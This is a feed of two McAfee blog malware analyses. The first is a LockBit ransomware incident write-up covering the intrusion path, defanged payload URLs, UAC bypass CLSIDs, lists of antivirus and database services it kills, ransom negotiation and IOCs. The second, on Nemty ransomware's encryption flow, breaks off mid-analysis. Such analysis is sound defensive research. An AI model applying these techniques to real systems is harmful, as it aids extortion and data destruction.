Alexandre Mundo – McAfee Blogs Securing Tomorrow. Today. Thu, 07 May 2020 10:54:37 +0000 en-US hourly 1 Alexandre Mundo – McAfee Blogs 32 32 Tales From the Trenches; a Lockbit Ransomware Story Fri, 01 May 2020 04:01:50 +0000 /blogs/?p=100159

In collaboration with Northwave As we highlighted previously across two blogs, targeted ransomware attacks have increased massively over the past months. In our first article, we discussed the growing pattern of targeted ransomware attacks where the primary infection stage is often an info-stealer kind of malware used to gain credentials/access to determine if the target would […]

The post Tales From the Trenches; a Lockbit Ransomware Story appeared first on McAfee Blogs.


In collaboration with Northwave

As we highlighted previously across two blogs, targeted ransomware attacks have increased massively over the past months. In our first article, we discussed the growing pattern of targeted ransomware attacks where the primary infection stage is often an info-stealer kind of malware used to gain credentials/access to determine if the target would be valuable for a ransomware attack. In the second part, we described the reconnaissance phase of an attacker that controls an infected host or a valid account to access a remote service. Many of them are using a similar manual modus operandi as we highlighted in the earlier blogs.

We believe there is real opportunity to learn from incident response cases and previous attacks, hence why this blog is dubbed ‘tales from the trenches’. In collaboration with Northwave, this article describes a real-life case of a targeted ransomware attack. During one of their recent incident responses, Northwave encountered a relatively new family of ransomware called LockBit performing a targeted attack. First sighted in late 2019, under the name .abcd virus, this piece of ransomware was more a revision than evolution when compared with earlier attacks. Like the previous posts in this blog series, we describe the different stages of the attack and recovery, including a thorough analysis of the ransomware and the attackers behind it.

In this blog we’ll cover:

LockBit Telemetry Map

We gathered telemetry through our McAfee Global Threat Intelligence GTI database on the different LockBit samples we analyzed in our research. The global spread is currently limited as this ransomware is relatively new and heavily targeted.

Figure 1: Telemetry map

Initial Access

As in all ransomware cases, the attacker has to gain initial access to the network somehow. In this particular case the attacker performed a brute force attack on a web server containing an outdated VPN service. Based on our research it took several days for the brute force to crack the password of the ‘Administrator’ account. With this account, belonging to the administrator group, the attacker immediately obtained the proverbial “keys to the kingdom” with all the necessary permissions to perform a successful attack. Unfortunately, this is not a unique case; external facing systems should always have multi-factor authentication enabled when possible. Besides, a security organization should have a least privilege strategy when it comes to accessing systems. Targeted ransomware attackers are successfully leveraging the “human factor” integrally. It is no longer the typical “end-user clicking on a malicious link” causing the complete lock-up of a company. The human factor in targeted ransomware attacks goes much deeper. Attackers successfully leverage weaknesses in security policy and misconfigurations across an entire organization; from end-user to Domain Administrator.

Infiltrating the Network

To infiltrate the network, the attacker had to take several steps to make sure the ransomware attack was successful. An attacker always wants to infect as many systems as possible to effectively halt the business process and urge the victim to pay the ransom.

Credentials & Privileges

As mentioned previously, the attacker was successful in guessing the password of the Administrator account using a brute force attack. With this, the attacker immediately had all the necessary privileges for deploying the ransomware successfully. In other cases, as we described in our second blog, the attacker often uses known post-exploitation frameworks, for privilege escalation, lateral movement and performing any additional actions on their objective. Since quite a few of these frameworks are readily available we often call this the “GitHubification” of attack tools. In this case however, the attacker could actually skip this step and continue with the network reconnaissance and deployment of the ransomware immediately, since a high privileged account was already compromised.

Lateral Movement

With the administrator-level account, the attacker used SMB to perform network reconnaissance, resulting in an overview of accessible hosts. Subsequently, the attacker used the internal Microsoft Remote Access Server (RAS) to access these systems using either the administrator or the LocalSystem account. The LocalSystem account is a built-in Windows account. It is the most authoritative account on a Windows local instance (more potent than any admin account). Using these accounts, the attacker owned these systems and could do anything they wanted, including turning off any end-point security products. Interestingly, both the lateral movement and the deployment of the ransomware was entirely automated.

Deployment of the Ransomware

This specific case was a classic hit and run. After gaining access to the initial system using the brute-forced administrator account, the attacker logged in and deployed the ransomware almost immediately. For the attacker, this was a relatively straightforward process since the ransomware spreads itself. The deployment of the ransomware on one single host remotely instructed the other hosts in the network to run the following PowerShell command:

Figure 2: PowerShell execution to download LockBit

This command retrieves a .png file from a website that has probably been compromised. There are two versions of the .png file, one for .NET version 4 and one for version 3.5. The PowerShell command checks which version it needs by getting the version number of the common language runtime that is running the current process. If this starts with ‘V4’, the .png for version 4 is downloaded; otherwise it downloads the .png for version 3.5 via the URLs below:

  • https://espet[.]se/images/rs35.png
  • https://espet[.]se/images/rs40.png

What is interesting in this case is that each distinct host downloads the ransomware itself. Hence, the attacker only needed access to one system with an account having enough privileges to automatically make all other hosts in the network download and execute it.

Malware Analysis

For our analysis, we will use the file found in our investigation, the details of which are:

  File name: rs35.png
SHA1 488e532e55100da68eaeee30ba342cc05810e296
SHA256 ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75
size 546.00 KB
PDB c:\users\user\work\code\dotnet\regedit-64\regedit-64\obj\release\rs35.pdb
guid 84e7065-65fe-4bae-a122-f967584e31db

Technical Analysis

The file we found in our investigation was a dropper renamed as a .png file. When first opening the .png files we were expecting a real image file, with perhaps some steganography inside, but what we saw instead was the header of a portable executable, so no steganography pictures this time. The PE was compiled in Microsoft Visual C# v7.0 / Basic .NET, .NET executable -> Microsoft.

Figure 3: Static analysis of LockBit

Entropy-wise it seems quite tidy too, not showing any stray sections or big spikes in the graph. This behavior indicates that the writer of the malware did not use obfuscation.

Figure 4: Entropy analysis

Figure 5: Portex visualization of LockBit

This file is a .NET launcher. Examining the Main() function in the code shows that an array containing a particularly long AES encrypted base64 string (in the variable named ‘exeBuffer’) carries the executable for the actual ransomware.

Figure 6: .NET launcher buffer

This encrypted string is decrypted using the key ENCRYPTION29942. The first 32 bytes of the long ExeBuffer string are used as the salt in the encryption scheme, where ENCRYPTION29942 is the passphrase.

Figure 7: Launcher calls & functions

Remarkably, the script checks for the existence of vbc.exe on its designated host. Usually, this binary is a digitally signed executable from Microsoft; however, in this case, the malware uses it for process hollowing.

By statically analyzing the file we can spot the usage of:

  • NtUnmapViewOfSection
    • LockBit uses this API in order to unmap the original code in execution
  • NtWriteVirtualMemory
    • The malware writes the base address of the injected image into the PEB via NtWriteVirtualMemory
  • VirtualAllocEx
    • To allocate the space before injecting the malicious code

The VBC utility is the visual basic compiler for Windows and LockBit uses it to compile and execute the code on the fly directly in execution. If the vbc utility does not exist on the system, the malware downloads the original vbc.exe file from the same malicious URL as seen before. After executing vbc.exe, the malware replaces the objects in memory with the code for deploying the ransomware (as deduced from the exeBuffer).

Figure 8: If VBC does not exist, the launcher will download it

Payload Analysis

Analysis of the exeBuffer shows several appealing elements. It starts with a UAC Bypass via {3E5FC7F9-9A51-4367-9063-A120244FBEC7} exploiting the ICMLuaUtil elevated COM Interface-Object[1], as seen in other ransomware families like Trickbot and MedusaLocker.

Subsequently, the script uses another variant of the UAC Bypass. The CLSID {D2E7041B-2927-42fb-8E9F-7CE93B6DC937} refers to the ColorDataProxy COM Object which is classified as the same Bypass method in hfiref0x’s UACME #43[2].

In order to be stealthier, LockBit ransomware loads its modules dynamically instead of having them hardcoded in the IAT and uses LoadLibraryA. This method is employed to avoid detection by static engines.

Figure 9. Name of the modules in the code

In execution, the malware accesses the Service Manager using the function “OpenSCManagerA” and saves the handle. It checks if it fails the last error with the “GetLastError” function, against the error ERROR_ACCESS_DENIED.

Figure 10. Access to the Service Manager

Upon access to the Service Manager, LockBit creates a thread to manage services, terminate processes and delete the shadow volumes plus the contents of the recycle bin.

In this thread the malware has the name of services that it will try to manage hardcoded to try to make them more obfuscated:

Figure 11. Hardcoded service names

The list of services LockBit tries to stop are:

  • DefWatch (Symantec Antivirus)
  • ccEvtMgr (Norton AntiVirus Event Manager)
  • ccSetMgr (Common Client Settings Manager Service of Symantec)
  • SavRoam (Symantec Antivirus)
  • sqlserv
  • sqlagent
  • sqladhlp
  • Culserver
  • RTVscan (Symantec Antivirus Program)
  • sqlbrowser
  • QBIDPService (QuickBooksby Intuit.)
  • QuickBoooks.FCS (QuickBooksby Intuit.)
  • QBCFMonitorService (QuickBooksby Intuit.)
  • sqlwriter
  • msmdsrv (Microsoft SQL Server Analysis or Microsoft SQL Server)
  • tomcat6 (Apache Tomcat)
  • zhundongfangyu (this belongs to the 360 security product from Qihoo company)
  • vmware-usbarbitator64
  • vmware-converter
  • dbsrv12 (Creates, modifies, and deletes SQL Anywhere services.)
  • dbeng8 (Sybase’s Adaptive Server Anywhere version 8 database program)
  • wrapper (Java Service?)

If one of these services is found by the malware querying the status of it, with the function “QueryServiceStatusEx”, LockBit will get all the depending modules when correct and safe and it will stop the service with the function “ControlService”.

Figure 12. Stopping target service

LockBit will prepare Unicode obfuscated strings that contain a command to delete the shadow volumes and disable the protections in the next boot of the system.

Figure 13. Prepare the commands to delete shadow volumes and disable protections on boot

The malware has these strings in the rdata section, as widely observed in all malware families, and in its own code as show in the previous screenshots. The malware uses both strings.

During its execution, LockBit will create a snapshot of the processes running in the system and will search to see if certain processes are part of this list with the function “OpenProcess” and, in case the process is present, it will finish it with the “TerminateProcess” function.

The list of processes that LockBit will check are:

wxServer wxServerView
sqlservr RAgui
supervise Culture
RTVScan DefWatch
sqlbrowser winword
qbupdate QBCFMonitorService
axlbridge QBIDPService
httpd fdlauncher
MsDtSrvr tomcat6
zhudongfangyu vmware-usbarbitator64
vmware-converter dbsrv12

This “process check function” is performed through a trick using the “PathRemoveExtensionA” function and removing the .exe extension from the list. Using this technique, the check process is more obfuscated.

Figure 14. Remove extension and check the process name

In our analysis, we saw how the ransomware dynamically uses the function “IsWow64Process” to check if the victim OS is running a x64 system and then uses the functions “Wow64DisableWow64FsRedirection” and “Wow64RevertWow64FsResdirection”. If the malware can access the functions, it will use the first to destroy all shadow volumes and the protections of the OS in the next boot and, later, will recover the redirection with the other function. In the case that it cannot get these functions, LockBit will delete the shadow volume directly through the function “ShellExecuteA” or with the function “CreateProcessA”.

Deletion of files within the recycle bin is executed with the function “SHEmptyRecycleBinW”.

Figure 15. Delete the contents of the recycle bin

Static analysis of the sample shows that LockBit will check the machine to see if it has support for  AES instructions in the processor with the “cpuid” opcode.

Figure 16. Check for AES instruction support in the CPU

Another check made by the ransomware is for the existence of the SS2 set of instructions:

Figure 17. Check for SSE2 instructions in the CPU

After finishing this process, the malware will try to delete itself with the next command using “ShellExecuteExW”:

Image 18. Auto-deletion of the malware

The Ransom Note

The ransom note is rather compact because the author hardcoded the content right in the code without using any obfuscation or encryption. The text file containing the ransom note is created in every directory after encryption and called Restore-My-Files.txt.

Figure 19: Content that is placed in Restore-My-Files.txt

Victim Information Stored in the Registry Key

LockBit in execution will create two keys in the infected system with the values full and public.

Those keys are created in the following hive HKEY_CURRENT_USER\SOFTWARE\LockBit. The data stored in these keys belongs to the infected victim in order to be able to identify them in the future.

Figure 20: LockBit registry keys

Lastly, after finishing the encryption, the desktop wallpaper is changed to a message for the user, saying that LockBit encrypted the host.

Figure 21: LockBit wallpaper after encryption

LockBit Filemarker

Some of the ransomware we analyzed shares a common file marker across all the encrypted files in order to verify the origin. This digital marker can be used there in the control panel in order to verify that this was the ransomware that encrypted the files.

This is an example for the first version of LockBit, where file marker was using:

C8 41 D0 BE AB 3F 0D 59 7B BF CF 40 C8 81 63 CD

If we compare two encrypted files, we can spot how the file marker matches in both encrypted files:

Figure 22: File marker used by LockBit

SMB Spreading

Analyzing LockBit in our environment, we identified the possibility to spread locally in the same local network. Analyzing the network traffic, we spotted the use of multiple ARP requests to find other hosts in the same network segment.

Figure 23: LockBit ARP traffic captured in the analysis

If these ARP requests finally find a host alive, LockBit will start a legitimate SMB connection to be able to deploy the ransomware in other machines.

Figure 24: LockBit SMB traffic captured in the analysis

If the SMB connection is successful, LockBit will execute the following PowerShell command to download the .NET launcher that will decompress and execute LockBit in a new system:

LockBit Ransomware Evolution:

LockBit is new on the scene, but we noticed the authors added several new features and improved the ransomware several times. That means there is an active group behind it which is probably getting feedback on its actions. This is an example of the development cycle; this graph was extracted, analyzing statically all the internal functions and comparing them across the samples:

For this investigation, we found different LockBit versions with different features between them:

LockBit Version 1

This first version contains unique features compared to other versions we found in the wild.

These features are:

  • IPLO (IPLogger geolocalization service)
  • Persistence through the COM interface and the HIVE Current Version Run
  • A different extension used in the encrypted files
  • Debug file created for debugging purposes
  • HIGH CPU Usage in the encryption process
  • The reusage of a MUTEX observed in other ransomware families

IPLO.RU geo-localization service:

One of the interesting items we found was that LockBit tries to identify the victim’s geo-location, through the URL IPLO.RU, requesting a static TXT file in that service.

Figure 25: LockBit IPLO.RU geolocation traffic captured in the analysis

The communication to this page is through HTTPS; we intercepted the traffic to get the reply from the remote server:

Figure 26: SSL decrypted traffic

Analyzing statically the code in LockBit, we found that this URL is not resolved dynamically in execution; it is hardcoded in the binary:

Figure 27: Hardcoded URL of IPLO service

Creating persistence through Current version Run and COM task schedule:

There are many ways to gain persistence in a system. This first version of LockBit uses a task schedule through the COM interface to gain persistence.

Figure 28: Persistence using the COM interface

LockBit also uses a reboot persistence method by using the Windows registry hive:


Using the CurrentVersion\Run hive serves to survive the reboot if the system shuts down.

LockBit is actually using two persistence methods, CLSID and CurrentVersion\Run

.abcd extension used:

The first version of LockBit uses the .abcd extension every time it encrypts a file; this is a unique difference between this version and the other versions found.

Ransom note used:

LockBit in this first version used a different ransom note with a different message:

Figure 29: LockBit ransomware note

Debug file created in execution:

LockBit’s first version has some files that are skipped in the encryption process and every time it skips one it will create resultlog6.reg with the log information:

Figure 30: Debug file created by LockBit

High CPU usage:

We analyzed the performance of the encryption and we noted how LockBit uses the CPU heavily in the encryption process:

Figure 31: LockBit performance in execution

PhobosImposter static MUTEX used:

In October 2019, the community saw how PhobosImposter was using the mutex XO1XADpO01 in its executions and the same mutex is used by LockBit in this first version. We analyzed the base code of both samples and we did not find any code overlap but is a quite a random string to use casually.

This is the function used to create the mutex:

Figure 32. Creation and check of the hardcoded mutex

LockBit Version 2

This LockBit version came out with the following changes:

  • Appended extension changed
  • The debug function removed
  • Some of the samples came packed wither with UPX or a Delphi packer
  • One sample digitally signed

Appended extension changed:

For this version, LockBit started to append the extension .lockbit in all the encrypted files as a file marker:

Debug log function removed:

LockBit, in this new version, removed the functionality whereby it stored all the skipped files in the encryption process.

Sample delivery with different protections:

In this version we found LockBit samples packed in UPX and other custom packers, adding certain protections to the samples:

  • Extensive usage of PEB during the execution
  • The use of IsDebuggerPresent, OutputDebugString and GetLastError

All these protections are enabled by the use of packers in the delivery.

Mutex change:

The prior version of LockBit used a static mutex in all the encryptions but, in this release, it changed to be a dynamic value for every infection.

Samples digitally signed:

For all the versions we found for LockBit, only this version had a sample digitally signed:

Figure 33: LockBit sample digitally signed

LockBit Version 3

Ransomware note changed:

For this version LockBit adapted the ransomware note and used a new one:

Figure 34: LockBit 2nd version of the ransomware note

LockBit debug enabled:

After all the hunting progress we made, we found several samples of LockBit with some kind of status feature enabled, showing a progress window during the encryption:

Figure 35: LockBit debug enabled

This mode was only available for certain sample compilations and the status screen was different depending on the LockBit sample analyzed:

Figure 36: LockBit sample digitally signed

Tales from the Underground

When we researched the underground community for LockBit we came across a posting on several popular underground forums.  A threat actor named Lockbi or LockBit is offering LockBit as a “bespoke” ransomware as a service for limited partners/affiliates. We suspect LockBit ransomware to be more “bespoke”, not only from its own announcements, but subsequently we have not seen any affiliate identifiers present in the ransomware, which is normally a clear sign of an actor trying to upscale operations and service a larger number of affiliates.

The advertisement provides a general description that matches the LockBit behavior we have seen in the wild and from our analysis. As many other cyber-criminal services, LockBit does not allow the use of the software in any of the CIS countries. This is commonly done to avoid prosecution if the threat actor resides in one of those nations.

What we also noticed was a mention around multi-threading. Ransomware families are often programmed to run multi-threaded to ensure quick and overall encryption and prevent the encryption process getting stuck on a large file. However, LockBit was specifically advertised as single threaded and the threat actor Lockbi ensures that there are no speed issues when it comes to its encryption capability.

Figure 37: The LockBit advertisement

In the advertisement it is listed that one of the features of the ransomware is a local subnet scanner and SMB propagation method, something we can confirm based on our analysis.

Also noteworthy is the use of a Jabber-bot to perform the essential functions, such as chatting, decryption and banning, replacing the need for a labor intensive admin panel that is hosted somewhere on the internet.

Figure 38: LockBit profile including the 10,5 BTC deposit

It seems that LockBit has joined the underground scene with a clear determination to do business; the authors have put a down a deposit in excess of 10,5 BTC, a bit shy of 75K USD. Putting a deposit in escrow is a way to demonstrate that the seller is invested financially and not out to scam potential partners. The seller would lose their deposit if they did not keep to their end of the deal. Our telemetry shows that LockBit activity is still limited today but we can definitely expect to see more bespoke LockBit attacks in the near future.


Going back to the real-life case, there were no recent offline backups. So, with the backup servers (including the backups) encrypted as well and a complete rebuild not being an option, there was no way for a successful and swift recovery other than by paying the ransom.

Both McAfee’s and Northwave’s perspective is that ransoms should not be paid. Paying does not only support the criminal business model, but as we have shown in our research, it also finances other forms of crime, such as the online drug trade.

In this specific case the victim chose to pay the ransom. The first step for recovery was to get in contact with the hacker following the instructions from the ransom note (Restore-my-files.txt) as depicted below.

Figure 39: LockBit ransomware note

Interestingly, as opposed to earlier known cases of LockBit (or .abcd virus) where contact with the attacker occurred via email addresses mentioned in the ransom note, in this case, the attacker developed an online ‘help desk’ accessible via a .onion address. Helpful as the hacker is, they even provided clear instructions on how to access this .onion address with the Tor browser. Although the ransom note claims there was private data obtained, Northwave did not find any evidence for this on the compromised systems.

Figure 40: LockBit recovery page

The image above shows the helpdesk which the attacker uses for communication with their victims. It provides the functionality for a trial in which two files can be decrypted ‘for warranty’, showing that the attacker indeed has the correct key(s) for restoring the data. For this, it is always essential to test files from different (critical) servers since keys might differ per server. In negotiations with an attacker, always try to obtain this knowledge since it is also relevant for your recovery strategy. If it is only one key, you know you can use one tool for the entire network; however, if encrypted servers use distinct keys, recovery becomes increasingly more difficult.

After successful decryption of two different files (from distinct servers), the chat with the attacker began. They started by asking for a network domain name (to identify the correct victim), then the attacker addressed the ransom amount. Usually, the attackers do proper research on their victims and tailor the ransom amount accordingly, which was the case here as well. Hence, negotiating on the amount of the ransom did not prove to be useful:

“We know who you are, so don’t play negotiate games.”

Trouble in Hacker Paradise

Subsequently, making the bitcoin transaction to the provided address, the helpdesk page would automatically update after six confirmations and show the download link for the decryptor.

“After 6 transaction confirmations, in a few hours decryptor will be built automatically. Don’t worry you will get it instantly once it’s built.”

Since there was nothing else to do than wait and hope for the decryptor now, an attempt was made into obtaining some more information from the attacker by asking about their methods. See a snippet of this conversation below.

Figure 41: Attacker communication

The ‘weak passwords’ is, of course, entirely in line with the brute force attack mentioned earlier. Additionally, this conversation indicates that there is a larger group behind this attack, where roles between different participants are separated. The helpdesk seems to be an actual helpdesk, merely following a script of actions.

After waiting for several hours and six confirmations further, the decryption tool should have been ready for download. However, this is where things progressed differently. There seemed to be some technical issues causing the decryptor not to generate automatically for which the helpdesk kindly apologized. Unfortunately, this continued for two dubious days with multiple excuses before the attacker sent a link to the decryptor via the chat. It appeared that they were ineffective in solving the technical issues; hence they chose to send it via SendSpace.

Once downloaded, the recovery phase could start. In this phase, all servers were decrypted, scanned and cleaned (or rebuilt) in a quarantined network. Subsequently, after implementing the appropriate technical and security measures, each host joined a new clean network.


As we highlighted in the first two articles, targeted ransomware attacks have increased massively over the past months. Many of them are all using a similar, quite manual, attack pattern as we highlighted. In this article, we provided an in-depth view of a relatively new ransomware family named LockBit. Based on a real-life case as encountered by Northwave, we described a typical ransomware attack including the modus operandi of attackers, the recovery process, an insight in the underground that advertises the ransomware and a full technical break-down of the ransomware itself. Additionally, during our analysis, we were able to obtain multiple samples of the LockBit ransomware with which we could provide an extensive list of IOCs. McAfee will continue monitoring this threat.

Learn from the articles, identify which technology can give you visibility inside your network. What digital evidence sources do you have, and can you detect fast enough to preserve and respond? If you were not able to prevent the ‘initial access stage’, make sure to have a strong Defense-in-Depth by having multiple defence technologies in place. In case a ransomware attack does strike your organization, have a proper backup procedure in place to successfully restore operations on your own? For additional ransomware prevention tips please visit

To learn more about how McAfee products can defend against these types of attacks, visit see our blog on how ENS 10.7 Rolls Back the Curtain on Ransomware.


Technique ID Technique Description
T1107 File Deletion
T1055 Process Injection
T1112 Modify Registry
T1215 Kernel Modules and Extensions
T1060 Registry Run Keys / Start Folder
T1179 Hooking
T1055 Process Injection
T1179 Hooking
T1124 System Time Discovery
T1046 Network Service Scanning
T1083 File and Directory Discovery
T1016 System Network Configuration Discovery
T1012 Query Registry
T1082 System Information Discovery
T1057 Process Discovery
T1063 Security Software Discovery
T1047 Windows Management Instrumentation
T1035 Service Execution
T1075 Pass the Hash


SHA256 Compile TimeStamp
ffbb6c4d8d704a530bdd557890f367ad904c09c03f53fda5615a7208a0ea3e4d 1992:06:20
286bffaa9c81abfb938fe65be198770c38115cdec95865a241f913769e9bfd3f 2009:02:12
76a77def28acf51b2b7cdcbfaa182fe5726dd3f9e891682a4efc3226640b9c78 2009:02:12
faa3453ceb1bd4e5b0b10171eaa908e56e7275173178010fcc323fdea67a6869 2009:02:12
70cb1a8cb4259b72b704e81349c2ad5ac60cd1254a810ef68757f8c9409e3ea6 2019:11:29
ec88f821d22e5553afb94b4834f91ecdedeb27d9ebfd882a7d8f33b5f12ac38d 2019:12:01
13849c0c923bfed5ab37224d59e2d12e3e72f97dc7f539136ae09484cbe8e5e0 2019:12:11
6fedf83e76d76c59c8ad0da4c5af28f23a12119779f793fd253231b5e3b00a1a 2019:12:17
c8205792fbc0a5efc6b8f0f2257514990bfaa987768c4839d413dd10721e8871 2019:12:18
15a7d528587ffc860f038bb5be5e90b79060fbba5948766d9f8aa46381ccde8a 2020:01:23
0f5d71496ab540c3395cfc024778a7ac5c6b5418f165cc753ea2b2befbd42d51 2020:01:23
0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f 2020:01:23
410c884d883ebe2172507b5eadd10bc8a2ae2564ba0d33b1e84e5f3c22bd3677 2020:02:12
e3f236e4aeb73f8f8f0caebe46f53abbb2f71fa4b266a34ab50e01933709e877 2020:02:16
0f178bc093b6b9d25924a85d9a7dde64592215599733e83e3bbc6df219564335 2020:02:16
1b109db549dd0bf64cadafec575b5895690760c7180a4edbf0c5296766162f18 2020:02:17
26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739 2020:02:17
69d9dd7fdd88f33e2343fb391ba063a65fe5ffbe649da1c5083ec4a67c525997 2020:02:17
0a937d4fe8aa6cb947b95841c490d73e452a3cafcd92645afc353006786aba76 2020:02:17
1e3bf358c76f4030ffc4437d5fcd80c54bd91b361abb43a4fa6340e62d986770 2020:02:17
5072678821b490853eff0a97191f262c4e8404984dd8d5be1151fef437ca26db 2020:02:20
ca57455fd148754bf443a2c8b06dc2a295f014b071e3990dd99916250d21bc75 2020-02-20


The post Tales From the Trenches; a Lockbit Ransomware Story appeared first on McAfee Blogs.

]]> 0
Nemty Ransomware – Learning by Doing Thu, 02 Apr 2020 18:21:35 +0000 /blogs/?p=99427

Executive Summary The McAfee Advanced Threat Research Team (ATR) observed a new ransomware family named ‘Nemty’ on 20 August 2019. We are in an era where ransomware developers face multiple struggles, from the great work done by the security community to protect against their malware, to initiatives such as the No More Ransom project that […]

The post Nemty Ransomware – Learning by Doing appeared first on McAfee Blogs.


Executive Summary

The McAfee Advanced Threat Research Team (ATR) observed a new ransomware family named ‘Nemty’ on 20 August 2019.

We are in an era where ransomware developers face multiple struggles, from the great work done by the security community to protect against their malware, to initiatives such as the No More Ransom project that offer some victims a way to decrypt their files. Not only that, but the underground criminal community around such ransomware developers can also be hyper critical, calling out bad code and choosing not to purchase ransomware that is not professionally developed.

After one such developer, going by the name jsworm, announced Nemty on underground forums, we noted how the ransomware was not well received by some users in the criminal community. Certain sectors of that forum started to rebuke jsworm for technical decisions made about the functions in the ransomware, as well as the encryption mechanism used.

Jsworm replied to all the comments, adding evidence about how the critical statements made were wrong and showcased the value of their new versions. They also fixed some ugly bugs revealed by users in the forum:

One of the users in the forum highlighted a function for how Nemty detects extension dupes in a system, which needed to be re-written by the author:

Despite the shortcomings in their ransomware, the Nemty developers are still in the underground forum, releasing new samples and infecting users through their affiliate program.


Based on our telemetry, we have seen Nemty activity in these locations:

FIGURE 1. Telemetry Map

Nemty Technical Analysis

Nemty runs on a Ransomware-as-a-Service (RaaS) model. We’ve observed it being delivered using:

  • RIG Exploit Kit in September 2019
  • Paypal dummy sites
  • RDP attacks through affiliates in their campaigns
  • Botnet: Distributed through Phorpiex botnet in November 2019
  • Loader: SmokeBot

FIGURE 2. Nemty ransomware announcement

In the release announcement the Nemty developers offered two types of collaboration: affiliation or private partnership. We found two aliases advertising Nemty, one of which is jsworm, who is quite active in the forums and announces all the news and updates there.

This is the timeline of the operations performed by the Nemty crew:

We observed how the Nemty developers adopted some characteristics from other old ransomware families like the defunct Gandcrab. One example of this is the reuse and reference to a URL that leads to an image featuring Russian text and a picture of the Russian president, like Gandcrab had in its code.

FIGURE 3. Hardcoded URL inside the Nemty ransomware pointing to the same image as GandCrab

The Nemty authors released different versions of their ransomware. In this research article we will highlight how the first version works and the significant changes added in subsequent versions.

Hash:                    505c0ca5ad0552cce9e047c27120c681ddce127d13afa8a8ad96761b2487191b

Compile Time:    2019-08-20 19:13:54

Version:                1.0

The malware sample is a 32-bit binary. The packer and malware are written in the C/C++ language as the author announced on the underground forum.

The compilation date in the PE header is the 20th of August 2019.

FIGURE 4. EXEInfo Image

Nemty uses RunPE in execution, meaning it unpacks in memory before execution.

Analyzing the sample, we could find how the developer added certain protections to their code, such as:

  • Decrypting certain information in the memory only if the encryption process is working as planned
  • Clearing the memory after finishing some operations
  • Information sharing between different memory addresses, cleaning the previous memory space used

Ransomware Note Creation Process

In order to create the ransomware note, Nemty takes each string and saves it into memory. When the ransomware compiles all the required strings it will join them together to create the entire ransomware note. In this operation, Nemty will decrypt line by line, moving the data to another memory address and cleaning the previous one to leave the information only in the new memory space.

For the first version of Nemty, the encryption method was not applied consistently to all the strings, which is why it is possible to see some strings and spot part of the functionalities or juicy files from them.

FIGURE 5. Clear strings in Nemty

Nemty and the Logical Units

In execution, Nemty will check all the logical units available in the system, saving the information about them in a static list with the following information:

  • Type of unit
  • Available free space

Through the use of the Windows API, ‘GetDriveTypeA’, the ransomware will differentiate units between:

  • Removable
  • Fixed
  • Network

FIGURE 6. Checking the type of logic units

To check the free space available in the system, Nemty will use “GetDiskFreeSpaceExA”, again through the Windows API:

FIGURE 7. Checking free disk space

Extracting Public IP Address from the Victim

Since the first version, Nemty has implemented a functionality to extract the public IP address of the victim. The information is extracted through a request to the IPIFY service at These types of services are frequently used by RaaS to check the location where the victim was infected.

FIGURE 8. Nemty getting the public IP

The User-agent for some of the Nemty versions was the ‘Chrome’ string. The user-agent is hardcoded as a single string in the ransomware instead of using an original user-agent.

FIGURE 9. Getting the IP address of the victim machine

The IPIFY service is used to retrieve the public IP address of the victim and, with the extracted data, Nemty makes another connection to using the data previously obtained as an argument. The extracted IP address and country data is used later used as a part of the ransomware note creation.

FIGURE 10. Getting the country name strings based on the IP address

Victim Information Extraction

Nemty will extract the following information from the victim:

  • Username
    • Using the windows API GetUserNameA
  • Computer name
    • Using the windows API GetComputerNameA
  • Hardware profile
    • Using the windows API GetCurrentHwProfileA

With this data, the authors ensure that the infected victim is unique, which helps the RaaS operators quantify how many victims they were able to infect themselves or through the use of affiliates.

FIGURE 11. Get Username, Computer Name and Hardware Profile from the victim machine

Nemty 1.0, Wrongly Applying the Country Protection

RaaS families usually apply some protections to prevent infecting certain geographic regions. In the first version, Nemty still had this feature in development as our analysis showed that the ransomware did not check whether the victim belonged to any of the supposed blacklisted countries. During our analysis of ransomware it is quite usual to find functions that are still in development and are then incorporated in future versions.

If the detected country is in the blacklist, Nemty returns the string “true” and keeps it in the config. If the country is not found, the value of the field will be false.

FIGURE 12. Check the country name and return true or false string

Nemty Encryption Keys

Immediately after making this check, Nemty will decode, from base64, the value of the master key and keep it in a memory address to use later. In parallel, it will prepare a random string with a fixed size of 7 characters and use it with the string “_NEMTY_” to create the ransomware note with the specific extension used in the encrypted files. Nemty will create a pair of RSA keys, one public and one private, in this process.

FIGURE 13. Export public RSA and private keys

Within this operation, Nemty will encode those keys in base64:

FIGURE 14. Encode of RSA keys generated

After this encoding, Nemty will decode again the victim RSA public key and import it for later use.

FIGURE 15. Decoding of the RSA public key for later use

The same operation is again used but this time with the master RSA public key from the ransomware developers.

Nemty Encryption Keys

In the encryption process, with all the data collected from the user, Nemty will create their config file, all in memory. The config file is a JSON structured file with all the collected data and the AES key previously created. Regarding the key used, it is the same for all of the files, however Nemty uses a different IV for each file.

Nemty Configuration File:

An example of the information collected by Nemty and later used in the config file can be found below:

This is an example Nemty configuration file:

FIGURE 16. Nemty config file

The different fields for the configuration file are:

The configuration file will be saved on the disk encrypted with a RSA public key of 8192 bits and encoded in base64.

FIGURE 17. Crypt the config file and encode in base64

Nemty will get the username logged in the system through ‘SHGetFolderPathW’ and will save and encrypt it with the .nemty extension on that folder.

FIGURE 18. Getting the user’s root folder

FIGURE 19. Creation of the config file on the disk

Nemty Encryption Threads

For the encryption, Nemty will create a new thread per each logic unit found in the system in order to encrypt the files.

The method used to encrypt the files is similar to other RaaS families, getting all the files using the function ‘FindFirstFileW’ and ‘FindNextFileW. Nemty will avoid encrypting folders with the following names:

  • .
  • ..

The encryption process will also avoid using files with the following names:

FIGURE 20. Check of the blacklisted folder and file names

This check is done using the insensitive function “lstrcmpiW”. Where Nemty is encrypting a file it will try two combinations, one in lower case, one in uppercase.

The extensions checked are:


FIGURE 21. Check of the file extensions

If Nemty has successful checks, it will create a random IV and encrypt part of the file with the AES keys previously generated. It then begins the IV using the victim’s RSA public key and appends it to the encrypted file.

FIGURE 22. Write the crypted file and put the IV in it

Nemty will put the information required to decrypt the file in the encrypted part of it and then add the extension “.nemty” and continue with the next folder or file.

FIGURE 23. Renaming of the new file with the Nemty extension

After finishing the encryption process Nemty will use the function ‘WaitForSingleObjects’ and wait for all the pending threads. It will also download the Tor Browser and open a connection in the loopback with the configuration file.

As a final action, Nemty will execute the command prompt of the machine with the hardcoded word “cmd.exe” and open the ransomware note.

FIGURE 24. Opening the ransom note

